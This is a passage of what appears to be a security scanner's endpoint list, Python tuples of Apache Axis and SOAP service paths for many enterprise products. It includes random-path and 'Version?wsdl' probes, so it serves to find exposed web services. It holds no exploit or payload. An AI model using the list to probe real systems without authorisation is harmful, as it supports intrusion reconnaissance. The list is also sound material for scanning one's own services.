 ('/oer/services/FlashlineRegistry', None),
 ('/oer/services/RexAPI', None),
 ('/com.ibm.ram.repository.web.ws.was/services/{rand}', '/com.ibm.ram.repository.web.ws.was/services'),
 ('/com.ibm.ram.repository.web.ws.was/services/Version?wsdl', '/com.ibm.ram.repository.web.ws.was/services'),
 ('/com.ibm.ram.repository.web.ws.was/RAMSecure/services/{rand}',
  '/com.ibm.ram.repository.web.ws.was/RAMSecure/services'),
 ('/com.ibm.ram.repository.web.ws.was/RAMSecure/services/Version?wsdl',
  '/com.ibm.ram.repository.web.ws.was/RAMSecure/services'),
 ('/com.ibm.ram.repository.web.ws.was/services/RAM1?wsdl', None),
 ('/com.ibm.ram.repository.web.ws.was/RAMSecure/services/RAM1?wsdl', None),
 ('/com.ibm.ram.repository.web.ws.was/services/RAM1', None),
 ('/com.ibm.ram.repository.web.ws.was/RAMSecure/services/RAM1', None),
 ('/pf-mgmt-ws/ws/{rand}', '/pf-mgmt-ws/ws'),
 ('/pf-mgmt-ws/ws/Version?wsdl', '/pf-mgmt-ws/ws'),
 ('/pf-ws/services/{rand}', '/pf-ws/services'),
 ('/pf-ws/services/Version?wsdl', '/pf-ws/services'),
 ('/pf-mgmt-ws/ws/ConnectionMigrationMgr?wsdl', None),
 ('/pf-mgmt-ws/ws/ConfigReplication?wsdl', None),
 ('/pf-mgmt-ws/ws/SSODirectoryService?wsdl', None),
 ('/pf-mgmt-ws/ws/ConfigCopyService?wsdl', None),
 ('/pf-ws/services/SSODirectoryService?wsdl', None),
 ('/pf-mgmt-ws/ws/ConnectionMigrationMgr', None),
 ('/pf-mgmt-ws/ws/ConfigReplication', None),
 ('/pf-mgmt-ws/ws/SSODirectoryService', None),
 ('/pf-mgmt-ws/ws/ConfigCopyService', None),
 ('/pf-ws/services/SSODirectoryService', None),
 ('/konakartadmin/services/{rand}', '/konakartadmin/services'),
 ('/konakartadmin/services/Version?wsdl', '/konakartadmin/services'),
 ('/ctkip/services/{rand}', '/ctkip/services'),
 ('/ctkip/services/Version?wsdl', '/ctkip/services'),
 ('/ims-ws/services/{rand}', '/ims-ws/services'),
 ('/ims-ws/services/Version?wsdl', '/ims-ws/services'),
 ('/ctkip/services/CtkipService?wsdl', None),
 ('/ctkip/services/CtkipService', None),
 ('/ims-ws/services/CommandServer?wsdl', None),
 ('/ims-ws/services/CommandServer', None),
 ('/com.ibm.ram.repository.web.ws.was/RAMServices', None),
 ('/dms/services/{rand}', '/dms/services'),
 ('/dms/services/Version?wsdl', '/dms/services'),
 ('/dms2/services2/ServerEI2?wsdl', None),
 ('/dms/services/ServerEI?wsdl', None),
 ('/dms/services/ServerUI', None),
 ('/dms/services/ServerMMS', None),
 ('/dms/services/ServerEI', None),
 ('/dms2/services2/ServerEI2', None),
 ('/ServiceEmulation/services/{rand}', '/ServiceEmulation/services'),
 ('/ServiceEmulation/services/Version?wsdl', '/ServiceEmulation/services'),
 ('/ServiceEmulation/services/EmulationAdmin?wsdl', None),
 ('/ServiceEmulation/services/EmulationAdmin', None),
 ('/greenstone3/services/{rand}', '/greenstone3/services'),
 ('/greenstone3/services/Version?wsdl', '/greenstone3/services'),
 ('/greenstone3/services/QBRSOAPServerlocalsite?wsdl', None),
 ('/greenstone3/services', None),
 ('/greenstone3/services/QBRSOAPServerlocalsite', None),
 ('/Locate/LocateServices?wsdl', None),
 ('/Locate/LocateServices', None),
 ('/dms2/services2/{rand}', '/dms2/services2'),
 ('/dms2/services2/Version?wsdl', '/dms2/services2'),
 ('/Rhythmyx/webservices/assemblySOAP?wsdl', None),
 ('/Rhythmyx/webservices/securitySOAP?wsdl', None),
 ('/Rhythmyx/webservices/systemSOAP?wsdl', None),
 ('/Rhythmyx/webservices/uiSOAP?wsdl', None),
 ('/Rhythmyx/webservices/assemblySOAP', None),
 ('/Rhythmyx/webservices/securitySOAP', None),
 ('/Rhythmyx/webservices/systemSOAP', None),
 ('/Rhythmyx/webservices/uiSOAP', None),
 ('/konakart/services/{rand}', '/konakart/services'),
 ('/konakart/services/Version?wsdl', '/konakart/services'),
 ('/konakart/services/KKWebServiceEng?wsdl', None),
 ('/konakart/services/KKWebServiceEng', None),
 ('/josso/services/{rand}', '/josso/services'),
 ('/josso/services/Version?wsdl', '/josso/services'),
 ('/josso/services/SSOIdentityManager?wsdl', None),
 ('/josso/services/SSOIdentityProvider?wsdl', None),
 ('/josso/services/SSOIdentityManagerSoap?wsdl', None),
 ('/josso/services/SSOIdentityManager', None),
 ('/josso/services/SSOIdentityProvider', None),
 ('/josso/services/SSOIdentityManagerSoap', None),
 ('/ptapi/services/{rand}', '/ptapi/services'),
 ('/ptapi/services/Version?wsdl', '/ptapi/services'),
 ('/ptapi/services/QueryInterfaceAPI?wsdl', None),
 ('/ptapi/services/QueryInterfaceAPI', None),
 ('/active-bpel/services/ActiveBpelDeployBPR?wsdl', None),
 ('/active-bpel/services/ActiveBpelDeployBPR', None),
 ('/xplanner/soap/{rand}', '/xplanner/soap'),
 ('/xplanner/soap/Version?wsdl', '/xplanner/soap'),
 ('/xplanner/soap/XPlanner?wsdl', None),
 ('/xplanner/soap/XPlanner', None),
 ('/Rhythmyx/servlet/{rand}', '/Rhythmyx/servlet'),
 ('/Rhythmyx/servlet', '/Rhythmyx/servlet'),
 ('/Rhythmyx/servlet/Version?wsdl', '/Rhythmyx/servlet'),
 ('/Rhythmyx/servlet/AxisServlet', None),
 ('/Rhythmyx/servlet/AdminServlet', None),
 ('/greenstone3/servlet/AxisServlet', '/greenstone3/servlet/AxisServlet'),
 ('/greenstone3/servlet/AxisServlet/Version?wsdl', '/greenstone3/servlet/AxisServlet'),
 ('/_common/webservices/Trend?wsdl', None),
 ('/_common/webservices/Trend', None),
 ('/xnat/services/{rand}', '/xnat/services'),
 ('/xnat/services/Version?wsdl', '/xnat/services'),
 ('/xnat/servlet/AxisServlet', '/xnat/servlet/AxisServlet'),
 ('/xnat/servlet/AxisServlet/Version?wsdl', '/xnat/servlet/AxisServlet'),
 ('/konakartadmin/services/KKWSAdmin?wsdl', None),
 ('/konakartadmin/services/KKWSAdmin', None),
 ('/Rhythmyx/designwebservices/{rand}', '/Rhythmyx/designwebservices'),
 ('/Rhythmyx/designwebservices/Version?wsdl', '/Rhythmyx/designwebservices'),
 ('/Rhythmyx/webservices/{rand}', '/Rhythmyx/webservices'),
 ('/Rhythmyx/webservices/Version?wsdl', '/Rhythmyx/webservices'),
 ('/greenstone3/SOAPMonitor', None),
 ('/client/services/{rand}', '/client/services'),
 ('/client/services/Version?wsdl', '/client/services'),
 ('/client/services/ProtocolloSoap?wsdl', None),
 ('/client/services/ProtocolloSoap', None),
 ('/_common/webservices/{rand}', '/_common/webservices'),
 ('/_common/webservices/Version?wsdl', '/_common/webservices'),
 ('/flexnet/services/{rand}', '/flexnet/services'),
 ('/flexnet/services/Version?wsdl', '/flexnet/services'),
 ('/flexnet/services/v2/ProductPackagingService?wsdl', None),
 ('/flexnet/services/v3/ManageDeviceService?wsdl', None),
 ('/flexnet/services/v2/ProductPackagingService', None),
 ('/flexnet/services/v3/ManageDeviceService', None),
 ('/ce-soap50/services/AdminService', None),
 ('/ce-soap50/services/FileStorageApp', None),
 ('/ce-soap50/services/NewsApp', None),
 ('/mailarchiva/services/{rand}', '/mailarchiva/services'),
 ('/mailarchiva/services/Version?wsdl', '/mailarchiva/services'),
 ('/mailarchiva/services/MailArchiva?wsdl', None),
 ('/mailarchiva/services/MailArchiva', None),
 ('/glite-security-voms-admin-interface/VOMSAdmin?wsdl', None),
 ('/glite-security-voms-admin-interface/VOMSACL?wsdl', None),
 ('/glite-security-voms-admin-interface/VOMSAdmin', None),
 ('/glite-security-voms-admin-interface/VOMSACL', None),
 ('/glite-security-voms-admin-interface/VOMSAttributes', None),
 ('/glite-security-voms-admin-interface/VOMSCompatibility', None),
 ('/glite-security-voms-admin-interface/VOMSCertificates', None),
 ('/glite-security-voms-admin-interface/VOMSRegistration', None),
 ('/aws/services/{rand}', '/aws/services'),
 ('/aws/services/Version?wsdl', '/aws/services'),
 ('/aws/services/EtudiantMetier?wsdl', None),
 ('/aws/services/EtudiantMetier', None),
 ('/aws/services/PedagogiqueMetier', None),
 ('/aws/services/ReferentielMetier', None),
 ('/glite-security-voms-admin-interface/{rand}', '/glite-security-voms-admin-interface'),
 ('/glite-security-voms-admin-interface/Version?wsdl', '/glite-security-voms-admin-interface'),
 ('/SpagoBI/sdk/DataSetsSDKService', None),
 ('/SpagoBI/sdk/DataSourcesSDKService', None),
 ('/SpagoBI/sdk/EnginesService', None),
 ('/SpagoBI/sdk/MapsSDKService', None),
 ('/SpagoBI/sdk/TestConnectionService', None),
 ('/SpagoBI/sdk/DomainsService', None),
 ('/SpagoBI/sdk/BehaviouralService', None),
 ('/SpagoBI/services/WSDataSetService', None),
 ('/SpagoBI/services/DocumentExecuteService', None),
 ('/afirmaws/services/{rand}', '/afirmaws/services'),
 ('/afirmaws/services/Version?wsdl', '/afirmaws/services'),
 ('/firma/services/{rand}', '/firma/services'),
 ('/firma/services/Version?wsdl', '/firma/services'),
 ('/afirmaws/services/ObtenerInfoCertificado?wsdl', None),
 ('/firma/services/DSSAfirmaVerify?wsdl', None),
 ('/afirmaws/services/ObtenerInfoCertificado', None),
 ('/firma/services/DSSAfirmaVerify', None),
 ('/firma/services/DSSAfirmaSign', None),
 ('/firma/services/DSSAfirmaVerifyCertificate', None),
 ('/firma/services/DSSAfirmaArchiveRetrieval', None),
 ('/firma/services/DSSBatchVerifySignature', None),
 ('/firma/services/DSSBatchVerifyCertificate', None),
 ('/firma/services/DSSAsyncRequestStatus', None),
 ('/firma/services/GetInfoCertificate', None),
 ('/SIGEM_TramitacionWS/services/{rand}', '/SIGEM_TramitacionWS/services'),
 ('/SIGEM_TramitacionWS/services/Version?wsdl', '/SIGEM_TramitacionWS/services'),
 ('/SIGEM_RegistroTelematicoWS/services/{rand}', '/SIGEM_RegistroTelematicoWS/services'),
 ('/SIGEM_RegistroTelematicoWS/services/Version?wsdl', '/SIGEM_RegistroTelematicoWS/services'),
 ('/SIGEM_EstructuraOrganizativaWS/services/{rand}', '/SIGEM_EstructuraOrganizativaWS/services'),
 ('/SIGEM_EstructuraOrganizativaWS/services/Version?wsdl', '/SIGEM_EstructuraOrganizativaWS/services'),
 ('/SIGEM_EntidadesWS/services/{rand}', '/SIGEM_EntidadesWS/services'),
 ('/SIGEM_EntidadesWS/services/Version?wsdl', '/SIGEM_EntidadesWS/services'),
 ('/SIGEM_CertificacionWS/services/{rand}', '/SIGEM_CertificacionWS/services'),
 ('/SIGEM_CertificacionWS/services/Version?wsdl', '/SIGEM_CertificacionWS/services'),
 ('/SIGEM_CatastroWS/services/{rand}', '/SIGEM_CatastroWS/services'),
 ('/SIGEM_CatastroWS/services/Version?wsdl', '/SIGEM_CatastroWS/services'),
 ('/SIGEM_CalendarioWS/services/{rand}', '/SIGEM_CalendarioWS/services'),
 ('/SIGEM_CalendarioWS/services/Version?wsdl', '/SIGEM_CalendarioWS/services'),
 ('/SIGEM_AutenticacionUsuariosWS/services/{rand}', '/SIGEM_AutenticacionUsuariosWS/services'),
 ('/SIGEM_AutenticacionUsuariosWS/services/Version?wsdl', '/SIGEM_AutenticacionUsuariosWS/services'),
 ('/SIGEM_AntivirusWS/services/{rand}', '/SIGEM_AntivirusWS/services'),
 ('/SIGEM_AntivirusWS/services/Version?wsdl', '/SIGEM_AntivirusWS/services'),
 ('/SIGEM_AdministracionSesionesBackOfficeWS/services/{rand}',
  '/SIGEM_AdministracionSesionesBackOfficeWS/services'),
 ('/SIGEM_AdministracionSesionesBackOfficeWS/services/Version?wsdl',
  '/SIGEM_AdministracionSesionesBackOfficeWS/services'),
 ('/SIGEM_AdministracionSesionesAdmWS/services/{rand}', '/SIGEM_AdministracionSesionesAdmWS/services'),
 ('/SIGEM_AdministracionSesionesAdmWS/services/Version?wsdl', '/SIGEM_AdministracionSesionesAdmWS/services'),
 ('/ispacservicesws/services/{rand}', '/ispacservicesws/services'),
 ('/ispacservicesws/services/Version?wsdl', '/ispacservicesws/services'),
 ('/archidoc/services/{rand}', '/archidoc/services'),
 ('/archidoc/services/Version?wsdl', '/archidoc/services'),
 ('/SIGEM_TramitacionWS/services/TramitacionWebService?wsdl', None),
 ('/SIGEM_EntidadesWS/services/EntidadesWebService?wsdl', None),
 ('/SIGEM_TramitacionWS/services/TramitacionWebService', None),
 ('/SIGEM_TramitacionWS/services/AplicacionExternaCSVConnectorWS', None),
 ('/SIGEM_RegistroTelematicoWS/services/AplicacionExternaCSVConnectorWS', None),
 ('/SIGEM_EstructuraOrganizativaWS/services/EstructuraOrganizativaWebService', None),
 ('/SIGEM_EntidadesWS/services/EntidadesWebService', None),
 ('/SIGEM_CertificacionWS/services/CertificacionWebService', None),
 ('/SIGEM_CatastroWS/services/CatastroWebService', None),
 ('/SIGEM_CalendarioWS/services/CalendarioWebService', None),
 ('/SIGEM_AutenticacionUsuariosWS/services/AdministracionUsuariosPortalWebService', None),
 ('/SIGEM_AntivirusWS/services/AntivirusWebService', None),
 ('/SIGEM_AdministracionSesionesBackOfficeWS/services/AdministracionSesionesBackOfficeWebService', None),
 ('/SIGEM_AdministracionSesionesAdmWS/services/AdministracionSesionesAdministradorWebService', None),
 ('/ispacservicesws/services/TramitacionWebService', None),
 ('/archidoc/services/WSDocumentosVitales', None),
 ('/archidoc/services/WSTiposDocumentosVitales', None),
 ('/archidoc/services/WSProcesosBatch', None),
 ('/soap-wsdl/syracuse/collaboration/syracuse/CAdxWebServiceXmlCC?wsdl', None),
 ('/soap-generic/syracuse/collaboration/syracuse/CAdxWebServiceXmlCC', None),
 ('/sf-soap43/services/{rand}', '/sf-soap43/services'),
 ('/sf-soap43/services/Version?wsdl', '/sf-soap43/services'),
 ('/sf-soap43/services/SourceForge?wsdl', None),
 ('/sf-soap43/services/AdminService?wsdl', None),
 ('/sf-soap43/services/SourceForge', None),
 ('/sf-soap43/services/AdminService', None),
 ('/ecmengine/services/{rand}', '/ecmengine/services'),
 ('/ecmengine/services/Version?wsdl', '/ecmengine/services'),
 ('/ecmengine/services/EcmEngineBackoffice?wsdl', None),
 ('/ecmengine/services/EcmEngineBackoffice', None),
 ('/sbn/services/{rand}', '/sbn/services'),
 ('/sbn/services/Version?wsdl', '/sbn/services'),
 ('/sbn/services/TBConnectorWS?wsdl', None),
 ('/sbn/services/TBConnectorWS', None),
 ('/polarion/ws/services/SecurityWebService?wsdl', None),
 ('/polarion/ws/services/SecurityWebService', None),
 ('/emf-web/services/{rand}', '/emf-web/services'),
 ('/emf-web/services/Version?wsdl', '/emf-web/services'),
 ('/emf-web/services/EMFUserManagerService?wsdl', None),
 ('/emf-web/services/EMFUserManagerService', None),
 ('/rtis/sdwp', None),
 ('/SpagoAxisService/services/{rand}', '/SpagoAxisService/services'),
 ('/SpagoAxisService/services/Version?wsdl', '/SpagoAxisService/services'),
 ('/knowage/sdk/DocumentsService?wsdl', None),
 ('/knowage/sdk/ImportExportSDKService?wsdl', None),
 ('/knowage/sdk/DocumentsService', None),
 ('/knowage/sdk/ImportExportSDKService', None),
 ('/SpagoAxisService/services/AdapterAxis', None),
 ('/TeamWeb/services/{rand}', '/TeamWeb/services'),
 ('/TeamWeb/services/Version?wsdl', '/TeamWeb/services'),
 ('/TeamWeb/services/Team?wsdl', None),
 ('/TeamWeb/services/Team', None),
 ('/service_manager/invoker/anc:AbstractService?wsdl', None),
 ('/service_manager/invoker/anc:AbstractService', None),
 ('/service_manager/invoker/anc:AbstractDatasource', None),
 ('/knowage/sdk/{rand}', '/knowage/sdk'),
 ('/knowage/sdk/Version?wsdl', '/knowage/sdk'),
 ('/cabio41/services/{rand}', '/cabio41/services'),
 ('/cabio41/services/Version?wsdl', '/cabio41/services'),
 ('/cabio42/services/{rand}', '/cabio42/services'),
 ('/cabio42/services/Version?wsdl', '/cabio42/services'),
 ('/cabio43/services/{rand}', '/cabio43/services'),
 ('/cabio43/services/Version?wsdl', '/cabio43/services'),
 ('/cabio43/services/caBIOService?wsdl', None),
 ('/cabio41/services/caBIOService', None),
 ('/cabio42/services/caBIOService', None),
 ('/cabio43/services/caBIOService', None),
 ('/service_manager/invoker/{rand}', '/service_manager/invoker'),
 ('/service_manager/invoker/Version?wsdl', '/service_manager/invoker'),
 ('/rtis/{rand}', '/rtis'),
 ('/rtis/Version?wsdl', '/rtis'),
 ('/bdd/api/axis/{rand}', '/bdd/api/axis'),
 ('/bdd/api/axis/Version?wsdl', '/bdd/api/axis'),
 ('/bdd/api/secure/axis/{rand}', '/bdd/api/secure/axis'),
 ('/bdd/api/secure/axis/Version?wsdl', '/bdd/api/secure/axis'),
 ('/bdd/api/axis/Portal_UserService?wsdl', None),
 ('/bdd/api/axis', None),
 ('/bdd/api/secure/axis', None),
 ('/ws-legacy/services/{rand}', '/ws-legacy/services'),
 ('/ws-legacy/services/Version?wsdl', '/ws-legacy/services'),
 ('/ws-legacy/services', None),
 ('/ws-legacy/services/AdminService', None),
 ('/ws-legacy/services/UserWSUserManager', None),
 ('/skyboxview/webservice/services/{rand}', '/skyboxview/webservice/services'),
 ('/skyboxview/webservice/services/Version?wsdl', '/skyboxview/webservice/services'),
 ('/skyboxview-softwareupdate/services/{rand}', '/skyboxview-softwareupdate/services'),
 ('/skyboxview-softwareupdate/services/Version?wsdl', '/skyboxview-softwareupdate/services'),
 ('/skyboxview/webservice/services/VersionRepositoryWebService', None),
 ('/skyboxview/webservice/services/VersionWebService', None),
 ('/skyboxview-softwareupdate/services/CollectorSoftwareUpdate', None),
 ('/DL229/services/{rand}', '/DL229/services'),
 ('/DL229/services/Version?wsdl', '/DL229/services'),
 ('/LFS/services/{rand}', '/LFS/services'),
 ('/LFS/services/Version?wsdl', '/LFS/services'),
 ('/DL229/services', None),
 ('/LFS/services', None),
 ('/DL229/services/AdminService', None),
 ('/LFS/services/AdminService', None),
 ('/imws', None),
 ('/rpc/soap-axis/pdfexport?wsdl', None),
 ('/eid/api/axis/{rand}', '/eid/api/axis'),
 ('/eid/api/axis/Version?wsdl', '/eid/api/axis'),
 ('/eid/api/secure/axis/{rand}', '/eid/api/secure/axis'),
 ('/eid/api/secure/axis/Version?wsdl', '/eid/api/secure/axis'),
 ('/eid/api/axis/Portal_UserService?wsdl', None),
 ('/eid/api/axis', None),
 ('/eid/api/secure/axis', None),
 ('/wsi/ProcessEngineWS?wsdl', None),
 ('/wsi/ProcessEngineWS', None),
 ('/wsi/ProcessEngineWS-I', None),
 ('/plugins/servlet/soap-axis1/pdfexport?wsdl', None),
 ('/plm-api-axis/services/{rand}', '/plm-api-axis/services'),
 ('/plm-api-axis/services/Version?wsdl', '/plm-api-axis/services'),
 ('/plm-api-axis/services', None),
 ('/Workplace/P8BPMWSBroker/{rand}', '/Workplace/P8BPMWSBroker'),
 ('/Workplace/P8BPMWSBroker/Version?wsdl', '/Workplace/P8BPMWSBroker'),
 ('/WorkplaceXT/P8BPMWSBroker/{rand}', '/WorkplaceXT/P8BPMWSBroker'),
 ('/WorkplaceXT/P8BPMWSBroker/Version?wsdl', '/WorkplaceXT/P8BPMWSBroker'),
 ('/pewsi/ProcessEngineWS?wsdl', None),
 ('/pewsi/ProcessEngineWS', None),
 ('/Workplace/P8BPMWSBroker', None),
 ('/WorkplaceXT/P8BPMWSBroker', None),
 ('/mule/services/{rand}', '/mule/services'),
 ('/mule/services/Version?wsdl', '/mule/services'),
 ('/security-ws/services/{rand}', '/security-ws/services'),
 ('/security-ws/services/Version?wsdl', '/security-ws/services'),
 ('/cr-ws/services/{rand}', '/cr-ws/services'),
 ('/cr-ws/services/Version?wsdl', '/cr-ws/services'),
 ('/search-ws/services/{rand}', '/search-ws/services'),
 ('/search-ws/services/Version?wsdl', '/search-ws/services'),
 ('/process/services/{rand}', '/process/services'),
 ('/process/services/Version?wsdl', '/process/services'),
 ('/notification/services/{rand}', '/notification/services'),
 ('/notification/services/Version?wsdl', '/notification/services'),
 ('/reporting-ws/services/{rand}', '/reporting-ws/services'),
 ('/reporting-ws/services/Version?wsdl', '/reporting-ws/services'),
 ('/userpref-ws/services/{rand}', '/userpref-ws/services'),
 ('/userpref-ws/services/Version?wsdl', '/userpref-ws/services'),
 ('/scoring/services/{rand}', '/scoring/services'),
 ('/scoring/services/Version?wsdl', '/scoring/services'),
 ('/security-ws/services/DirectoryInformation?wsdl', None),
 ('/security-ws/services/ProviderInformation?wsdl', None),
 ('/cr-ws/services/ContentRepository?wsdl', None),
 ('/search-ws/services/Search?wsdl', None),
 ('/scoring/services/Scoring.HttpV2?wsdl', None),
 ('/security-ws/services/Authentication', None),
 ('/security-ws/services/CapabilityInformation', None),
 ('/security-ws/services/DirectoryInformation', None),
 ('/security-ws/services/DirectoryManagement', None),
 ('/security-ws/services/ProviderInformation', None),
 ('/cr-ws/services/ContentRepository', None),
 ('/cr-ws/services/ContentRepositoryURI', None),
 ('/search-ws/services/Search', None),
 ('/search-ws/services/Values', None),
 ('/process/services/ProcessManagement', None),
 ('/process/services/SchedulingServer', None),
 ('/notification/services/EventCollector', None),
 ('/notification/services/SubscriptionManager', None),
 ('/notification/services/SubscriptionRepository', None),
 ('/reporting-ws/services/Reporting', None),
 ('/userpref-ws/services/Client', None),
 ('/userpref-ws/services/Manager', None),
 ('/scoring/services/Scoring.HttpV2', None),
 ('/inquiragw/servlet/rpcrouter', None),
 ('/siebel-determinations-server/soap?wsdl', None),
 ('/discussions/ws/{rand}', '/discussions/ws'),
 ('/discussions/ws/Version?wsdl', '/discussions/ws'),
 ('/discussions/ws/axis/services/{rand}', '/discussions/ws/axis/services'),
 ('/discussions/ws/axis/services/Version?wsdl', '/discussions/ws/axis/services'),
 ('/discussions/ws/AuthenticationService?wsdl', None),
 ('/discussions/ws/axis/services/AuthenticationService', None),
 ('/discussions/ws/AuthenticationService', None),
 ('/discussions/ws', None),
 ('/Campaign/services/{rand}', '/Campaign/services'),
 ('/Campaign/services/Version?wsdl', '/Campaign/services'),
 ('/Campaign/services/CampaignServices30Service?wsdl', None),
 ('/Campaign/services/CampaignServices30Service', None),
 ('/webservices/services/AicAgentAdmin?wsdl', None),
 ('/webservices/services/AicWorkflow?wsdl', None),
 ('/webservices/services/AicWorkflow', None),
 ('/aler/services/{rand}', '/aler/services'),
 ('/aler/services/Version?wsdl', '/aler/services'),
 ('/aler/services/FlashlineRegistry?wsdl', None),
 ('/aler/services/FlashlineRegistry', None),
 ('/alfresco/soapapi/RepositoryService?wsdl', None),
 ('/alfresco/soapapi/AuthenticationService?wsdl', None),
 ('/alfresco/soapapi/RepositoryService', None),
 ('/ims/services/{rand}', '/ims/services'),
 ('/ims/services/Version?wsdl', '/ims/services'),
 ('/ims/services/encentuate.ims.service.ServerAuthentication?wsdl', None),
 ('/ims/services/encentuate.ims.service.ServerAuthentication', None),
 ('/teamworks/webservices/{rand}', '/teamworks/webservices'),
 ('/teamworks/webservices/Version?wsdl', '/teamworks/webservices'),
 ('/4TRESS/services/{rand}', '/4TRESS/services'),
 ('/4TRESS/services/Version?wsdl', '/4TRESS/services'),
 ('/dsview/services/{rand}', '/dsview/services'),
 ('/dsview/services/Version?wsdl', '/dsview/services'),
 ('/dsview/services/UnitServiceApi?wsdl', None),
 ('/dsview/services/UserServiceApi?wsdl', None),
 ('/dsview/services/UnitServiceApi', None),
 ('/alfresco/soapapi/{rand}', '/alfresco/soapapi'),
 ('/alfresco/soapapi/Version?wsdl', '/alfresco/soapapi'),
 ('/o/com.liferay.wsrp.service/api/axis/{rand}', '/o/com.liferay.wsrp.service/api/axis'),
 ('/o/com.liferay.wsrp.service/api/axis/Version?wsdl', '/o/com.liferay.wsrp.service/api/axis'),
 ('/o/opensocial-portlet/api/axis/{rand}', '/o/opensocial-portlet/api/axis'),
 ('/o/opensocial-portlet/api/axis/Version?wsdl', '/o/opensocial-portlet/api/axis'),
 ('/opensocial-portlet/api/axis/{rand}', '/opensocial-portlet/api/axis'),
 ('/opensocial-portlet/api/axis/Version?wsdl', '/opensocial-portlet/api/axis'),
 ('/o/com.liferay.wsrp.service/api/axis/WSRP_v2_ServiceDescription_Service?wsdl', None),
 ('/o/opensocial-portlet/api/axis/Plugin_OpenSocial_GadgetService?wsdl', None),
 ('/4TRESS/{rand}', '/4TRESS'),
 ('/4TRESS/Version?wsdl', '/4TRESS'),
 ('/axislegacy/sccentities?wsdl', None),
 ('/axislegacy/sccentities', None),
 ('/enovia/services/{rand}', '/enovia/services'),
 ('/enovia/services/Version?wsdl', '/enovia/services'),
 ('/ematrix/services/{rand}', '/ematrix/services'),
 ('/ematrix/services/Version?wsdl', '/ematrix/services'),
 ('/enovia/servlet/AxisServlet', '/enovia/servlet/AxisServlet'),
 ('/enovia/servlet/AxisServlet/Version?wsdl', '/enovia/servlet/AxisServlet'),
 ('/ematrix/servlet/AxisServlet', '/ematrix/servlet/AxisServlet'),
 ('/ematrix/servlet/AxisServlet/Version?wsdl', '/ematrix/servlet/AxisServlet'),
 ('/enovia/services/MatrixAxisMQLService?wsdl', None),
 ('/axislegacy/{rand}', '/axislegacy'),
 ('/axislegacy/Version?wsdl', '/axislegacy'),
 ('/axis/services/PPM?wsdl', None),
 ('/axis2/services/IntegrationLandscapeServiceWS?wsdl', None),
 ('/axis2/services/UcmdbService?wsdl', None),
 ('/axis/StockQuoteService.jws?wsdl', None),
 ('/services/BSALoginService.wsdl', None),
 ('/axis2/services/VPAppIntfService?wsdl', None),
 ('/Services/API?wsdl', None),
 ('/Services/API', None),
 ('/services/ZksrService?wsdl', None),
 ('/services/ZksrService', None),
 ('/services/IWsBaseService?wsdl', None),
 ('/services/IWsBaseService.IWsBaseServiceHttpSoap11Endpoint', None),
 ('/services/IWsBaseService', None),
 ('/services/MessageService?wsdl', None),
 ('/services/MessageService', None),
 ('/services/WorkflowServiceXml?wsdl', None),
 ('/services/HrmService?wsdl', None),
 ('/services/WorkflowServiceXml', None),
 ('/services/HrmService', None),
 ('/services/BlogService', None),
 ('/services/ModeDateService', None),
 ('/services/WorkPlanService', None),
 ('/services/UserRegistrationAdminService.UserRegistrationAdminServiceHttpsSoap11Endpoint/', None),
 ('/services/AuthenticationAdmin', None),
 ('/services/UserRegistrationAdminService', None),
 ('/axis2/services/listServices', None),
 ('/axis2/services/OdiInvoke?wsdl', None),
 ('/axis2/services/OdiInvoke', None),
 ('/services/AuthenticationAdmin?wsdl', None),
 ('/services/RemoteUserStoreManagerService?wsdl', None),
 ('/services/UserAdmin?wsdl', None),
 ('/services/RemoteUserStoreManagerService', None),
 ('/services/UserAdmin', None),
 ('/axis/services/NACWebService?wsdl', None),
 ('/axis/services/NetSightDeviceWebService?wsdl', None),
 ('/axis/services/NACWebService', None),
 ('/axis/services/NetSightDeviceWebService', None),
 ('/cc/soap/ILoginAPI?wsdl', None),
 ('/pc/soap/ILoginAPI?wsdl', None),
 ('/bc/soap/ILoginAPI?wsdl', None),
 ('/ab/soap/ISystemToolsAPI?wsdl', None),
 ('/pc/soap/ProducerAPI?wsdl', None),
 ('/axis2/services/SystemService?wsdl', None),
 ('/axis2/services/SystemService', None),
 ('/EXEWebService/services/{rand}', '/EXEWebService/services'),
 ('/EXEWebService/services/Version?wsdl', '/EXEWebService/services'),
 ('/EXEWebService/services', None),
 ('/vertex-ws/services/{rand}', '/vertex-ws/services'),
 ('/vertex-ws/services/Version?wsdl', '/vertex-ws/services'),
 ('/vertex-ws/services/CalculateTax70?wsdl', None),
 ('/soap/services/LoginService?wsdl', None),
 ('/services/MPService?wsdl', None),
 ('/services/MPInquiryService?wsdl', None),
 ('/services/MPListDefService?wsdl', None),
 ('/services/MPProvisioningService?wsdl', None),
 ('/services/MPService', None),
 ('/services/MPInquiryService', None),
 ('/services/MPListDefService', None),
 ('/services/MPProvisioningService', None),
 ('/webapi/services/WebAPIService?wsdl', None),
 ('/wsi/FNCEWS40MTOM/wsdl', None),
 ('/PI/services/{rand}', '/PI/services'),
 ('/PI/services/Version?wsdl', '/PI/services'),
 ('/PI/services/UCP?wsdl', None),
 ('/axis2/services/PMService', None),
 ('/axis2/services/InteractDesignService', None),
 ('/p2pd/servlet/dispatch', None),
 ('/itg/ppmservices/DemandService?wsdl', None),
 ('/servlet/axis2/services/{rand}', '/servlet/axis2/services'),
 ('/servlet/axis2/services/Version?wsdl', '/servlet/axis2/services'),
 ('/servlet/axis2/services/OXUtilService?wsdl', None),
 ('/cmdbws/server/cmdbws?wsdl', None),
 ('/www/core-service/services/{rand}', '/www/core-service/services'),
 ('/www/core-service/services/Version?wsdl', '/www/core-service/services'),
 ('/www/core-service/services/LoginService?wsdl', None),
 ('/CFIDE/services/image.cfc?wsdl', None),
 ('/CFIDE/services/mail.cfc?wsdl', None),
 ('/webapps/ws/services/{rand}', '/webapps/ws/services'),
 ('/webapps/ws/services/Version?wsdl', '/webapps/ws/services'),
 ('/webapps/ws/services/Context.WS?wsdl', None),
 ('/itpam/soap?wsdl', None),
 ('/niku/wsdl', None),
 ('/Services1.0/services/{rand}', '/Services1.0/services'),
 ('/Services1.0/services/Version?wsdl', '/Services1.0/services'),
 ('/AlmServices1.0/services/{rand}', '/AlmServices1.0/services'),
 ('/AlmServices1.0/services/Version?wsdl', '/AlmServices1.0/services'),
 ('/Services1.0/services', None),
 ('/AlmServices1.0/services', None),
 ('/services/mcsdk20?wsdl', None),
 ('/services/mcsdk20', None),
 ('/services/mcsdk10', None),
 ('/services/mcService', None),
 ('/ProtectManager/services/{rand}', '/ProtectManager/services'),
 ('/ProtectManager/services/Version?wsdl', '/ProtectManager/services'),
 ('/ProtectManager/services/v2011/incidents?wsdl', None),
 ('/webservice/services/ProvisioningService?wsdl', None),
 ('/webservice/services/ProvisioningService', None),
